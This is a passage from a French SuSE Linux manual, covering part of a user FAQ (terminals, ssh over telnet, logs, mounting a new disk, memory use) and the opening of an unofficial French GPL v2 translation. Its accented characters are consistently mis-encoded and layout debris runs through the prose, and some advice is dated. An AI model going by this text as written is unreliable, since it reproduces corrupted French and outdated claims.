  34403.  Alt   |________+ |F___|2et taper ensuite xterm     . Vous avez ainsi un ``terminal'' (que l'on
  34404. appelle  trΦs  souvent  aussi  de  faτon  erronΘe  fenΩtre  DOS)  dans  lequel  vous
  34405. pouvez entrer les commandes.
  34406.  
  34407.  
  34408. Je ne trouve pas certains programmes dans KDE.
  34409.  
  34410. Vous pouvez lancer aussi tous les programmes α partir d'une fenΩtre de termi-
  34411. nal (xterm    _,_voir_plus haut) en entrant le nom du programme et en appuyant
  34412. ensuite sur |_____-|.
  34413.  
  34414.  
  34415. Je ne parviens pas α me connecter α ma machine avec telnet      . J'obtiens
  34416. toujours la rΘponse "Login  incorrect".
  34417.  
  34418. Vous essayez probablement de vous connecter en tant que `root'. Pour des
  34419. raisons de sΘcuritΘ, ceci n'est pas possible avec telnet .
  34420.  
  34421. CrΘez  avec  YaST   un  compte  utilisateur  normal  (voir  paragraphe  3.6.7
  34422. page 111) sous lequel vous pourrez vous connecter. Passez ensuite avec su
  34423. sous le compte `root'. Il est cependant prΘfΘrable et surtout plus s√r d'uti-
  34424. liser le programme ssh  en lieu et place de telnet . ssh  utilise des connexions
  34425. encryptΘes  (+  Encryptage)  et  par  consΘquent  protΘgΘes.  Vous  trouverez  ce
  34426. programme dans la sΘrie sec.
  34427.  
  34428.  
  34429. Comment me connecter α Internet avec Linux ?
  34430.  
  34431. Vous  trouverez  des  informations  α  ce  sujet  dans  le  manuel  au  chapitre  5.3
  34432. page 171 et pages suivantes.
  34433.  
  34434.  
  34435. Les virus sont-ils α craindre sous Linux ?
  34436.  
  34437. Non.
  34438.  
  34439. Il n'existe pas sous Linux de virus qui soient vΘritablement α craindre (voir
  34440. page 469). En outre, les virus ne peuvent pas faire beaucoup de dΘgΓts s'ils
  34441. n'ont  pas  ΘtΘ  introduits  par  l'utilisateur  `root'.  Les  seuls  scanners  de  vi-
  34442. rus qui existent sous Linux servent α rechercher les virus Windows dans le
  34443. courrier Θlectronique (lorsque Linux fait fonction de routeur).
  34444.  
  34445.  
  34446. O∙ puis-je voir les messages du systΦme ?
  34447.  
  34448. Lancez, en tant que `root', la commande suivante dans une fenΩtre de ter-
  34449. minal :
  34450.  
  34451.       terre:  #  tail  -f  /var/log/messages
  34452.  
  34453. D'autres  programmes  prΘsentant  un  certain  intΘrΩt  dans  ce  contexte  sont  :
  34454. top   , procinfo        et xosview       .
  34455.  
  34456. Les messages Θmis au moment de l'amorτage peuvent Ωtre visualisΘs avec
  34457.  
  34458.       terre:  #  less  /var/log/boot.msg
  34459.  
  34460.  
  34461.  
  34462.                                                                                                                                    *
  34463.  *   543
  34464. F.  La FAQ de SuSE______Linux______________________________________________________________________________________________________*
  34465.  *_______________________________________@
  34466.  
  34467.  
  34468.  
  34469.                            O∙ se trouve StarOffice ?
  34470.                            Vous  trouverez  StarOffice  dans  le  paquetage  so_fr  α  sΘlectionner  dans  la
  34471.  
  34472.                            sΘrie pay. Pour l'installation, utilisez notre programme YaST  qui vous fera
  34473.                            savoir quel CD vous devez insΘrer.
  34474.  
  34475.  
  34476.                            J'ai trouvΘ un bogue dans SuSE      Linux. └ qui dois-je le signaler ?
  34477.  
  34478.                            Assurez-vous  tout  d'abord  qu'il  s'agit  vraiment  d'une  erreur  dans  le  pro-
  34479.                            gramme et non pas seulement d'une erreur de manipulation ou de configu-
  34480.                            ration.  Lisez  aussi  la  documentation  dans  /usr/doc/packages  et  /usr/
  34481.                            doc/howto. Il est possible que cette erreur ait dΘjα ΘtΘ constatΘe et que vous
  34482.                            puissiez trouvez quelque chose α ce sujet sur Internet dans notre base de don-
  34483.                            nΘes support sous http://sdb.suse.de/sdb/en/html/index.html. En-
  34484.                            trez un mot-clΘ ou effectuez vos recherches α partir de l'``historique''.
  34485.  
  34486.                            S'il  s'agit  vΘritablement  d'un  bogue,  envoyez-nous  une  description  par  E-
  34487.                            mail α feedback@suse.de. Il est impΘratif dans ce cas de nous faire connaεtre
  34488.                            votre code d'enregistrement.
  34489.  
  34490.  
  34491.                            Comment avoir accΦs α mon CD ?
  34492.  
  34493.                            Vous devez tout d'abord monter le CD. Voir le paragraphe 19.11.2 page 500
  34494.                            du manuel.
  34495.  
  34496.  
  34497.                            Je ne parviens pas α retirer mon CD du lecteur, que dois-je faire ?
  34498.  
  34499.                            Vous devez d'abord dΘmonter le CD. Voir le paragraphe 19.11.2 page 500 du
  34500.                            manuel. Si YaST  tourne encore, terminez-le.
  34501.  
  34502.  
  34503.                            Comment obtenir l'affichage de l'espace disponible sous Linux ?
  34504.  
  34505.                            Avec df  -h    , voir aussi chapitre 19 page 481.
  34506.  
  34507.  
  34508.                            Le ``couper/coller'' est-il possible sous Linux ?
  34509.  
  34510.                            Oui.
  34511.  
  34512.                            Si vous voulez utiliser le ``couper/coller'' en mode texte, vous devez lancer le
  34513.                            programme gpm . Voici la rΦgle α appliquer sous le systΦme X Window et en
  34514.                            mode texte : Marquer en pressant le bouton gauche de la souris et en faisant
  34515.                            glisser et insΘrer en utilisant le bouton central de la souris. Le bouton droit de
  34516.                            la souris a presque toujours une fonction particuliΦre dans les programmes.
  34517.                            Si  votre  souris  ne  possΦde  pas  de  bouton  central,  pressez  les  deux  boutons
  34518.                            simultanΘment.
  34519.  
  34520.  
  34521.                            Comment installer des programmes ?
  34522.  
  34523.                            Installez de prΘfΘrence avec YaST  les programmes inclus sur les CD SuSE
  34524.                            Linux.  Vous  pourrez  trouver  de  nombreux  programmes  (``dΘmos'')  d'assez
  34525.                            grande taille sΘrie pay.
  34526.  
  34527.  
  34528.  
  34529. 544
  34530.        ___________________________________________________________________________________________F.__La_FAQ_de_SuSE______Linux____*
  34531.  *______________________
  34532.  
  34533.  
  34534.  
  34535. Je possΦde un programme ``seulement'' en code source. Comment l'ins-
  34536. taller ?
  34537.  
  34538. L'utilisation  de  certains  programmes  requiert  quelques  connaissances  que
  34539. l'on  peut  acquΘrir  α  l'aide  d'un  bon  livre  sur  Linux  ~  voir  http://www.
  34540. suse.de/de/produkte/buecher/.  En  rΘsumΘ  :  DΘcompresser  l'archive
  34541. (avec tar  xvzf  name.tar.gz                ), lire INSTALL ou README et suivre les ins-
  34542. tructions ~ la plupart du temps il s'agit d'un ./configure ;make ;make  install                         .
  34543. Voir aussi les informations dΘtaillΘes sur la gestion des paquetages au para-
  34544. graphe 15.3 page 415.
  34545.  
  34546. Notez que nous n'offrons pas d'Assistance Technique α l'Installation pour les
  34547. programmes que vous avez compilΘs vous-mΩme.
  34548.  
  34549.  
  34550.  
  34551. Il me faut Firewall, IP Masquerade, un serveur de messagerie et un ser-
  34552. veur WWW. Puis-je compter sur l'Assistance Technique α l'Installation ?
  34553.  
  34554.  
  34555. Non.
  34556.  
  34557. L'Assistance Technique α l'Installation (voir annexe H page 557) vous aide
  34558. uniquement α mettre en route votre systΦme Linux. Pour tout ce qui sort de ce
  34559. cadre, il existe de bons livres en librairies ainsi qu'une excellente documen-
  34560. tation  dans  /usr/doc/packages  et  /usr/doc/howto/en/NET3-HOWTO.
  34561. txt.gz.
  34562.  
  34563. Au sujet de Masquerade, voir le paragraphe 6.7 page 201.
  34564.  
  34565.  
  34566.  
  34567. Mon matΘriel est-il supportΘ ?
  34568.  
  34569.  
  34570. Jetez un coup d'oeil dans la base de donnΘes CDB (angl. Component Database)
  34571. sous http://cdb.suse.de/. Un less  /usr/doc/howto/en/Hardware-HOWTO.gz
  34572. peut aussi vous fournir des informations.
  34573.  
  34574.  
  34575.  
  34576. Comment dΘfragmenter mon disque dur ?
  34577.  
  34578.  
  34579. Linux possΦde un systΦme de fichiers intelligent. Ce systΦme de fichiers qui
  34580. ne permet pratiquement pas la fragmentation rend donc la dΘfragmentation
  34581. superflue. Veillez α ce que vos partitions ne soient pas remplies α plus de 90%
  34582. (df  -h    ).
  34583.  
  34584.  
  34585.  
  34586. J'entends  souvent  parler  de  partitionnement,  de  quoi  s'agit-il  exacte-
  34587. ment ?
  34588.  
  34589.  
  34590. On  entend  par  partitionnement  la  rΘpartition  du  disque  dur  en  diffΘrentes
  34591. zones. Windows a aussi une partition qui lui est propre. SuSE     Linux requiert,
  34592. dans  la  configuration  standard,  3  partitions  (une  partition  pour  les  fichiers
  34593. d'amorτage, une autre pour Linux lui-mΩme et une partition de swap).
  34594.  
  34595. Lisez le chapitre 19 page 481 pour plus de dΘtails.
  34596.  
  34597.  
  34598.  
  34599.                                                                                                                                    *
  34600.  *   545
  34601. F.  La FAQ de SuSE______Linux______________________________________________________________________________________________________*
  34602.  *_______________________________________@
  34603.  
  34604.  
  34605.  
  34606.                            Faut-il effacer Windows pour pouvoir utiliser Linux ?
  34607.                            Non. Mais Linux a besoin d'espace disponible sur le disque dur.
  34608.  
  34609.  
  34610.                            ExΘcutez defrag       sous Windows et invoquez le programme fips  dans le rΘ-
  34611.                            pertoire \dosutils\fips\fips20 sur le premier CD SuSE     Linux. Ce pro-
  34612.                            gramme  vous  permet  de  rΘduire  la  taille  de  la  partition  Windows  afin  de
  34613.                            faire de la place pour Linux. Sauvegardez auparavant vos donnΘes et lisez le
  34614.                            Readme de fips ! Voir aussi le guide dΘtaillΘ d'installation au paragraphe 1.5
  34615.                            page 28.
  34616.  
  34617.  
  34618.                            Quelle quantitΘ d'espace faut-il pour Linux ?
  34619.  
  34620.                            └ partir de 380 Mo environ vous Ωtes dans le jeu. Mais il est quand mΩme
  34621.                            recommandable d'avoir environ 1 Go. Si vous avez l'intention de tout installer
  34622.                            il vous faut plus de 6 Go.
  34623.  
  34624.  
  34625.                            Je n'ai pas assez de place pour Linux, comment ajouter un disque dur
  34626.                            supplΘmentaire ?
  34627.  
  34628.                            Vous  pouvez  α  tout  moment,  sous  un  systΦme  Linux,  intΘgrer  des  disques
  34629.                            durs ou des partitions libres de disques durs afin d'avoir plus de place α votre
  34630.                            disposition. S'il vous faut plus de place, par exemple dans /opt, vous pouvez
  34631.                            y  monter  (angl.  mount)  une  partition  supplΘmentaire.  ProcΘdez  de  la  faτon
  34632.                            suivante :
  34633.  
  34634.  
  34635.                             1.   Ajoutez le disque dur et dΘmarrez Linux.
  34636.  
  34637.                             2.   Connectez-vous en tant qu'utilisateur `root'.
  34638.  
  34639.                             3.   Partitionnez avec fdisk      par exemple en tant que /dev/hdb1
  34640.  
  34641.                             4.   Formatez la partition avec mke2fs  /dev/hdb1
  34642.  
  34643.                             5.   Entrez les commandes suivantes :
  34644.                                       terre:  #  cd  /opt
  34645.                                       terre:/opt  #  mkdir  /opt2
  34646.                                       terre:/opt  #  mount  /dev/hdb1  /opt2
  34647.                                       terre:/opt  #  cp  -axv  .  /opt2
  34648.  
  34649.  
  34650.                                  VΘrifiez  toutefois  soigneusement  si  vos  donnΘes  ont  toutes  ΘtΘ  copiΘes.
  34651.                                  Vous pourrez ensuite ``dΘplacer'' l'ancien rΘpertoire et crΘer un nouveau
  34652.                                  +  point de montage vide :
  34653.                                       terre:/opt  #  mv  /opt  /opt.old
  34654.                                       terre:/opt  #  mkdir  /opt
  34655.  
  34656.  
  34657.                                  Ajoutez maintenant, avec un +  Θditeur, la nouvelle partition dans le fichier
  34658.                                  /etc/fstab. Ceci pourrait se prΘsenter comme dans le fichier F.0.1.
  34659.  
  34660.                            ________________________________________________________________________________________________________*
  34661.  *________
  34662.                            |/dev/hdb1            /opt         ext2           defaults     1     2                                  *
  34663.  *         |
  34664.                            |_______________________________________________________________________________________________________*
  34665.  *________ |
  34666.  
  34667.                                      fichier F.0.1: Extrait de /etc/fstab          : Partition supplΘmentaire
  34668.  
  34669.  
  34670.                                  Vous devriez maintenant arrΩter votre machine et rΘamorcer.
  34671.  
  34672.  
  34673. 546
  34674.        ___________________________________________________________________________________________F.__La_FAQ_de_SuSE______Linux____*
  34675.  *______________________
  34676.  
  34677.  
  34678.  
  34679.  6.   Lorsque votre machine a ΘtΘ rΘamorcΘe, assurez-vous, α l'aide de la com-
  34680.       mande mount      que /dev/hdb1 a vraiment ΘtΘ rattachΘ sous /opt. Si tout
  34681.       a fonctionnΘ comme prΘvu, vous pouvez maintenant effacer les anciennes
  34682.       donnΘes sous /opt.old :
  34683.            terre:  #  cd  /
  34684.            terre:/  #  rm  -fr  opt.old
  34685.  
  34686.  
  34687.  
  34688. J'ai dΘjα compilΘ un noyau. Comment est-il possible d'installer mainte-
  34689. nant le noyau SuSE      original ?
  34690.  
  34691. ProcΘdez de la maniΦre dΘcrite au paragraphe 3.6.2 page 103 du manuel.
  34692.  
  34693.  
  34694. Ma machine s'est plantΘe. Puis-je appuyer sur le bouton de remise α zΘro
  34695. sans courir de risque ?
  34696.  
  34697. Si  votre  machine  ne  rΘagit  plus  aux  clics  de  souris  ou  aux  entrΘes  clavier,
  34698. cela ne signifie pas qu'elle est totalement plantΘe. Il peut arriver qu'un seul
  34699. programme  provoque  un  blocage  de  la  souris  et  du  clavier  alors  que  tous
  34700. les autres programmes continuent α tourner. Si votre machine est accessible
  34701. de l'extΘrieur (terminal sΘrie, rΘseau), vous pouvez encore vous connecter et
  34702. terminer le programme responsable avec killall  <nom_du_programme>_         ____        __._
  34703. Si  vous  n'avez  pas  cette  possibilitΘ,  essayez,  avec  |______C|trl+  |____A|lt+  |___F|2,  de
  34704. passer sur une autre console pour y tuer le processus gΩnant. Si aucune touche
  34705. ne provoque une rΘaction de la machine, attendez au moins 10 secondes sans
  34706. aucun accΦs au disque avant d'actionner bouton de remise α zΘro.
  34707.  
  34708.  
  34709. Pourquoi Linux consomme-t-il toute ma mΘmoire ?
  34710.  
  34711. Jetons un coup d'oeil sur une sortie de free  -t      :
  34712.                        total       used            free    shared       buffers    cached
  34713. Mem:              127800     94312           33488     11196           22324     46104
  34714. -/+  buffers/cache:     25884         101916
  34715. Swap:            136544         832         135712
  34716. Total:           264344     95144         169200
  34717.  
  34718.  
  34719.  
  34720. Il semble qu'il n'y aurait que 33488 Ko de mΘmoire disponible (Mem/free). Il
  34721. s'agit toutefois de mΘmoire ``inutilisΘe''. Toute la mΘmoire RAM qui n'est pas
  34722. utilisΘe par les programmes sert de cache disque, ici 46104 Ko (Mem/cached).
  34723. L'entrΘe shared      dΘsigne une mΘmoire utilisΘe en commun par plusieurs pro-
  34724. grammes et bibliothΦques (ici 11196 Ko).
  34725.  
  34726. La mΘmoire disponible est la valeur indiquΘe dans -/+  buffers/cache                et
  34727. free    , donc ici 101916 Ko. Virtuellement, il y a encore environ 165 Mo de
  34728. mΘmoire disponible.
  34729.  
  34730.  
  34731. Qu'est-ce  qu'un  miroir ?  Pourquoi  ne  pas  tout  rΘcupΘrer  depuis  ftp.
  34732. suse.com ?
  34733.  
  34734. Comme  de  nombreux  utilisateurs  ont  besoin  au  mΩme  moment  du  serveur,
  34735. celui-ci  serait  trΦs  vite  surchargΘ.  Pour  cette  raison,  il  existe  tout  un  tas
  34736. d'autres serveurs FTP qui incluent une ``copie exacte'' du serveur SuSE    . De
  34737.  
  34738.  
  34739.                                                                                                                                    *
  34740.  *   547
  34741. F.  La FAQ de SuSE______Linux______________________________________________________________________________________________________*
  34742.  *_______________________________________@
  34743.  
  34744.  
  34745.  
  34746.                            tels  serveurs  sont  appelΘs  ``miroirs''.  On  devrait  toujours  se  diriger  vers  un
  34747.                            miroir qui se trouve α proximitΘ (c'est-α-dire dans le mΩme pays) car le tΘ-
  34748.                            lΘchargement est alors plus rapide. Vous trouverez une liste des miroirs par
  34749.                            exemple sous http://www.suse.de/en/support/download/ftp/.
  34750.  
  34751.  
  34752.                            Quel genre de rΘpertoires sont /var, /etc, /bin etc. ?
  34753.  
  34754.                            Comme tout autre systΦme Unix, Linux possΦde un systΦme de fichiers dont
  34755.                            de  trΦs  grandes  parties  sont  uniformes.  Ces  rΘpertoires  ne  doivent  pas  Ωtre
  34756.                            effacΘs ou dΘplacΘs. En tant qu'utilisateur, vous devriez travailler uniquement
  34757.                            dans /home/tux (remplacez `tux' par votre nom d'utilisateur). Pour plus
  34758.                            d'informations sur le systΦme de rΘpertoires, voyez l'annexe D page 531.
  34759.  
  34760.  
  34761.                            Comment afficher, Θditer, dΘplacer, copier, effacer des fichiers ?
  34762.  
  34763.                            Si  vous  voulez  effectuer  ces  opΘration  avec  les  ``programmes  maison''  Li-
  34764.                            nux, vous trouverez des explications au chapitre 19 page 481. Vous pouvez
  34765.                            cependant travailler aussi sur la console texte avec le programme Midnight
  34766.                            Commander  (mc  ) (clone d'un outil DOS/Windows bien connu)._Vous_devez__
  34767.                            pour cela ouvrir un terminal dans l'interface graphique (|A____l|t+ |F___|2et ensuite
  34768.                            xterm     ) et entrer mc   dans ce terminal.
  34769.  
  34770.  
  34771.                            Comment lire mes fichiers DOS ?
  34772.  
  34773.                            Voir le paragraphe 19.12 page 501 du manuel.
  34774.  
  34775.  
  34776.                            Je ne trouve pas de fichiers .exe. O∙ sont tous les programmes ?
  34777.  
  34778.                            Sous  Linux,  les  noms  de  fichiers  exΘcutables  n'ont  normalement  pas  d'ex-
  34779.                            tension.  La  majeure  partie  des  programmes  se  trouve  dans  /usr/bin  et
  34780.                            /usr/X11R6/bin.
  34781.  
  34782.  
  34783.                            └ quoi reconnaεt-on les fichiers exΘcutables ?
  34784.  
  34785.                            Avec  la  commande  ls  -l  /usr/bin           par  exemple,  vous  voyez  tous  les  fi-
  34786.                            chiers  exΘcutables  du  rΘpertoire  /usr/bin  indiquΘs  en  rouge.  Vous  pou-
  34787.                            vez  aussi  les  reconnaεtre  au  `x'  dans  la  premiΦre  colonne  (voir  le  para-
  34788.                            graphe sec :u.datei.info du manuel).
  34789.  
  34790.                            -rwxr-xr-x     1  root     root         64412  Jul  23  15:23  /usr/bin/ftp
  34791.  
  34792.  
  34793.                            Dans le gestionnaire de fichiers de KDE (kfm ), vous pouvez reconnaεtre un
  34794.                            fichier exΘcutable au symbole en forme de roue dentΘe.
  34795.  
  34796.  
  34797.                            Je voudrais supprimer Linux, comment faire ?
  34798.  
  34799.                            Effacez la partition Linux avec fdisk    . Il vous faudra Θventuellement invoquer
  34800.                            fdisk     sous Linux, par exemple en passant par le systΦme de secours (voir pa-
  34801.                            ragraphe 16.5 page 438). Ensuite vous devrez amorcer α partir de la disquette
  34802.                            MS-DOS et exΘcuter la commande fdisk  /mbr         sous DOS ou Windows.
  34803.  
  34804. 548
  34805.  
  34806.                                                                                                            Annexe  G
  34807.             Licence   Publique   GΘnΘrale   GNU
  34808.  
  34809.  
  34810.  
  34811.                                                                                                                   (GPL)
  34812.  
  34813.  
  34814. La prΘsente traduction ne peut en aucun cas remplacer au sens juridique le
  34815. texte original de la GPL. Il ne s'agit pas d'une version franτaise approuvΘe
  34816. par la FSF mais d'une traduction inofficielle de la GPL.
  34817.  
  34818.                            GNU GENERAL PUBLIC LICENSE
  34819.  
  34820.                                          Version 2, June 1991
  34821.  
  34822.    Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave,
  34823.                                    Cambridge, MA 02139, USA
  34824.  
  34825. Chacun  est  autorisΘ  α  reproduire  ce  document  et  α  en  distribuer  des  copies
  34826. conformes mais aucune modification n'est admise.
  34827.  
  34828.                                              PR╔AMBULE
  34829.  
  34830. Les licences concernant la majeure partie des logiciels ont pour but de suppri-
  34831. mer toute libertΘ de les partager et de les modifier. La Licence Publique GΘ-
  34832. nΘrale GNU, au contraire, a ΘtΘ conτue pour vous assurer le droit de partager
  34833. et de modifier les logiciels libres et pour garantir leur libre accΦs α tout utilisa-
  34834. teur. La Licence Publique GΘnΘrale s'applique α la majoritΘ des logiciels de la
  34835. Free Software Foundation et α tous les autres programmes que leurs auteurs
  34836. ont dΘcidΘ de soumettre aux termes de cette Licence. (D'autres logiciels de la
  34837. Free Software Foundation sont couverts, α la place, par la Licence Publique
  34838. GΘnΘrale des BibliothΦques GNU). Vous pouvez aussi appliquer les termes de
  34839. la prΘsente Licence α vos propres programmes.
  34840.  
  34841. Lorsque nous parlons de ``free software'', nous entendons logiciels libres et
  34842. non  pas  gratuits.  Notre  Licence  Publique  GΘnΘrale  a  ΘtΘ  conτue  pour  vous
  34843. assurer  la  libertΘ  de  distribuer  des  copies  de  logiciels  libres  (en  facturant
  34844. ce  service  si  vous  le  souhaitez),  de  recevoir  le  code  source  ou  de  pouvoir
  34845. l'obtenir si vous le dΘsirez, de modifier les programmes ou d'en utiliser des
  34846. ΘlΘments dans de nouveaux logiciels libres en sachant que vous Ωtes autorisΘ
  34847. α le faire.
  34848.  
  34849. Afin de prΘserver vos droits, nous avons d√ stipuler des restrictions qui inter-
  34850. disent α quiconque de vous dΘnier ces droits ou de vous demander d'y renon-
  34851. cer. Ces restrictions entraεnent Θgalement pour vous certaines obligations si
  34852. vous distribuez des copies de programmes ou si vous les modifiez.
  34853.  
  34854.  
  34855.                                                                                                                                    *
  34856.  *   549
  34857. G.  Licence Publique_GΘnΘrale_GNU_(GPL)____________________________________________________________________________________________*
  34858.  *_______________________________________@
  34859.  
  34860.  
  34861.  
  34862.                            Si vous distribuez par exemple des copies de tels programmes, gratuitement
  34863.                            ou contre rΘmunΘration, vous Ωtes tenu de transmettre aux bΘnΘficiaires tous
  34864.                            les  droits  que  vous  avez  vous-mΩme.  Vous  devez  aussi  vous  assurer  qu'ils
  34865.                            reτoivent ou peuvent obtenir le code source. Et vous devez leur faire prendre
  34866.                            connaissance des termes de la prΘsente Licence afin qu'ils soient au courant
  34867.                            de leurs droits.
  34868.  
  34869.                            Nous  protΘgeons  vos  droits  par  deux  mesures  :  (1)  en  plaτant  le  logiciel
  34870.                            sous  copyright  et  (2)  en  vous  offrant  la  prΘsente  Licence  qui  vous  autorise
  34871.                            lΘgalement α copier, distribuer et/ou α modifier le logiciel.
  34872.  
  34873.                            En outre, pour la protection des auteurs et la n⌠tre, nous voulons Ωtre certains
  34874.                            que chacun comprenne qu'il n'existe aucune garantie pour ces logiciels libres.
  34875.                            Si le logiciel est modifiΘ par un tiers et redistribuΘ ensuite, nous tenons α ce
  34876.                            que les utilisateurs qui le reτoivent sachent qu'ils ne sont pas en prΘsence de
  34877.                            l'original afin que des erreurs introduites par un tiers ne puissent pas nuire α
  34878.                            la rΘputation de l'auteur.
  34879.  
  34880.                            Enfin,  tout  logiciel  libre  est  constamment  menacΘ  par  des  dΘp⌠ts  de  bre-
  34881.                            vets. Nous voulons exclure le risque que les distributeurs d'un logiciel libre
  34882.                            puissent obtenir individuellement des licences de brevets rendant ainsi le pro-
  34883.                            gramme propriΘtaire. Pour prΘvenir ce risque, nous avons clairement stipulΘ
  34884.                            que toute licence de brevet doit prΘvoir une libre utilisation par tous ou qu'il
  34885.                            ne doit pas exister du tout de licence.
  34886.  
  34887.                            Les conditions prΘcises pour la copie, la distribution et la modification sont
  34888.                            les suivantes :
  34889.  
  34890.  
  34891.                                                       GNU GENERAL PUBLIC LICENSE
  34892.  
  34893.                             TERMES ET CONDITIONS POUR LA COPIE, LA DISTRIBUTION
  34894.                                                                ET LA MODIFICATION
  34895.  
  34896.  
  34897.                            0. La prΘsente Licence s'applique α tout programme ou autre ouvrage conte-
  34898.                            nant une mention, apposΘe par le dΘtenteur du copyright, prΘcisant qu'il peut
  34899.                            Ωtre distribuΘ sous les termes de la Licence Publique GΘnΘrale. Le mot ``Pro-
  34900.                            gramme'' est employΘ, dans la suite du prΘsent document, pour dΘsigner un
  34901.                            tel programme ou un tel ouvrage. L'expression ``ouvrage basΘ sur le Program-
  34902.                            me'' dΘsigne soit le Programme lui-mΩme, soit tout ouvrage qui en est dΘrivΘ
  34903.                            au sens dΘfini par la lΘgislation sur les droits d'auteurs, α savoir : un ouvrage
  34904.                            contenant le Programme ou une partie de celui-ci, soit sous forme inaltΘrΘe,
  34905.                            soit avec des modifications et/ou traduit dans une autre langue. (Dans la suite
  34906.                            de ce document, le terme ``traduction'' sera donc couvert sans aucune restric-
  34907.                            tion par le terme ``modification''). Tout bΘnΘficiaire de la prΘsente Licence est
  34908.                            dΘsignΘ par ``Vous''.
  34909.  
  34910.                            Les activitΘs autres que la copie, la distribution et la modification ne sont pas
  34911.                            couvertes par la prΘsente Licence, elles dΘpassent le cadre de son application.
  34912.                            La mise en oeuvre du Programme n'est soumise α aucune restriction et les
  34913.                            donnΘes rΘsultant de l'exΘcution du Programme ne sont couvertes que si leur
  34914.                            contenu reprΘsente un ouvrage basΘ sur le Programme (indΘpendamment du
  34915.                            fait qu'elles rΘsultent de l'exΘcution du Programme). Qu'il s'agisse ou non
  34916.                            d'un tel ouvrage dΘpend des fonctions du Programme.
  34917.  
  34918.  
  34919. 550
  34920.        _________________________________________________________________G.__Licence_Publique_GΘnΘrale_GNU_(GPL)____________________*
  34921.  *______________________
  34922.  
  34923.  
  34924.  
  34925. 1. Vous Ωtes autorisΘ α faire et α distribuer, sur n'importe quel support, des
  34926. copies exactes du code source du Programme tel que vous l'avez reτu α condi-
  34927. tion de faire figurer clairement sur chaque copie une mention appropriΘe de
  34928. copyright et d'exclusion de toute garantie. Laissez inchangΘes toutes les men-
  34929. tions se rΘfΘrant α la prΘsente Licence et α l'absence de garantie et fournissez,
  34930. conjointement  au  Programme,  un  exemplaire  de  la  prΘsente  Licence  α  tout
  34931. utilisateur qui le reτoit.
  34932.  
  34933. Vous pouvez demandez une rΘmunΘration pour la rΘalisation de la copie et
  34934. vous Ωtes libre d'accorder vous-mΩme une garantie en Θchange d'une rΘmu-
  34935. nΘration.
  34936.  
  34937. 2.  Vous  Ωtes  autorisΘ  α  modifier  votre  copie  ou  vos  copies  du  Programme
  34938. ou partie de celui-ci crΘant ainsi un ouvrage basΘ sur le Programme et vous
  34939. pouvez  copier  et  distribuer  de  telles  versions  modifiΘes  ou  ouvrages  selon
  34940. les  termes  de  l'article  1  sous  rΘserve  que  les  conditions  ci-dessous  soient
  34941. Θgalement remplies :
  34942.  
  34943.  
  34944.  a)   Vous devez faire en sorte que les fichiers modifiΘs soient pourvus de men-
  34945.       tions  bien  visibles  indiquant  que  vous  les  avez  modifiΘs  et  prΘcisant  la
  34946.       date de chaque modification.
  34947.  
  34948.  b)   Vous devez faire en sorte que chaque ouvrage distribuΘ ou publiΘ par vos
  34949.       soins  et  qui  contient,  soit  dans  son  ensemble  soit  dans  ses  ΘlΘments,  le
  34950.       Programme ou des parties du Programme, ou qui est dΘrivΘ du Programme
  34951.       ou parties du Programme, soit fourni comme un ensemble α toute tierce
  34952.       personne sans facturation de taxe sous les termes de la prΘsente Licence.
  34953.  
  34954.  c)   Si le Programme lit normalement des commandes de faτon interactive au
  34955.       cours de son exΘcution, vous devez faire en sorte que lorsqu'il est lancΘ de
  34956.       la maniΦre habituelle pour une utilisation interactive, il affiche ou imprime
  34957.       un message contenant une mention appropriΘe de copyright et d'exclusion
  34958.       de garantie (ou l'indication que vous fournissez vous-mΩme une garan-
  34959.       tie). Le message doit en outre faire savoir aux utilisateurs qu'ils peuvent
  34960.       redistribuer le Programme dans les mΩme conditions et leur indiquer de
  34961.       quelle  maniΦre  ils  peuvent  visualiser  une  copie  de  la  prΘsente  Licence.
  34962.       (Exception  :  Si  le  Programme  est  lui-mΩme  interactif  mais  n'Θmet  pas
  34963.       normalement un tel message, votre ouvrage basΘ sur le Programme n'est
  34964.       pas non plus tenu de l'Θmettre).
  34965.  
  34966.  
  34967. Ces  exigences  s'appliquent  α  l'ouvrage  modifiΘ  pris  dans  son  ensemble.  Si
  34968. des parties identifiables de cet ouvrage ne sont pas dΘrivΘes du Programme
  34969. et  peuvent  raisonnablement  Ωtre  considΘrΘes  comme  Θtant  par  elles-mΩmes
  34970. des ouvrages indΘpendants et distincts, la prΘsente Licence et ses termes ne
  34971. s'appliquent pas α ces ΘlΘments lorsque vous les distribuez sΘparΘment. Mais
  34972. si vous distribuez ces mΩmes ΘlΘments comme parties d'un ensemble reprΘ-
  34973. sentΘ par un ouvrage basΘ sur le Programme, la distribution de l'ensemble est
  34974. soumise aux termes de la prΘsente Licence qui Θtend les droits des autres per-
  34975. sonnes concenΘes par la Licence α la totalitΘ de l'ensemble et par consΘquent
  34976. α chacun de ses ΘlΘments quel qu'en soit l'auteur.
  34977.  
  34978. Le prΘsent article n'a donc pas pour but de revendiquer ni de contester vos
  34979. droits sur un ouvrage que vous avez entiΦrement Θcrit vous-mΩme. Son inten-
  34980.  
  34981.  
  34982.                                                                                                                                    *
  34983.  *   551
  34984. G.  Licence Publique_GΘnΘrale_GNU_(GPL)____________________________________________________________________________________________*
  34985.  *_______________________________________@
  34986.  
  34987.  
  34988.  
  34989.                            tion est bien plus de garantir un droit de contr⌠le sur tout ouvrage dΘrivΘ ou
  34990.                            ouvrage collectif basΘ sur le Programme.
  34991.                            En outre, la simple rΘunion d'un autre ouvrage, non basΘ sur le Programme,
  34992.                            avec  le  Programme  ou  α  un  ouvrage  dΘrivΘ  de  celui-ci  sur  un  support  de
  34993.                            stockage ou de distribution ne soumet pas l'autre ouvrage aux termes de la
  34994.                            prΘsente Licence.
  34995.  
  34996.                            3. Vous Ωtes autorisΘ α copier et α distribuer le Programme (ou un ouvrage
  34997.                            basΘ sur celui-ci selon la dΘfinition donnΘe par l'article 2) sous forme de code
  34998.                            objet ou de code exΘcutable α condition de fournir l'un des services suivants :
  34999.  
  35000.                             a)   Joindre  au  Programme  son  code  source  complet  sous  une  forme  lisible
  35001.                                  par  ordinateur  et,  selon  les  termes  des  articles  1  et  2,  sur  un  support
  35002.                                  couramment utilisΘ pour l'Θchange de logiciels ; ou
  35003.  
  35004.                             b)   Joindre  au  Programme  une  offre  Θcrite,  valable  pendant  au  moins  trois
  35005.                                  ans, par laquelle vous vous engagez α fournir α toute tierce personne, pour
  35006.                                  une rΘmunΘration n'excΘdant pas vos frais de duplication et de distribution
  35007.                                  une copie du code source complet sous une forme lisible par ordinateur
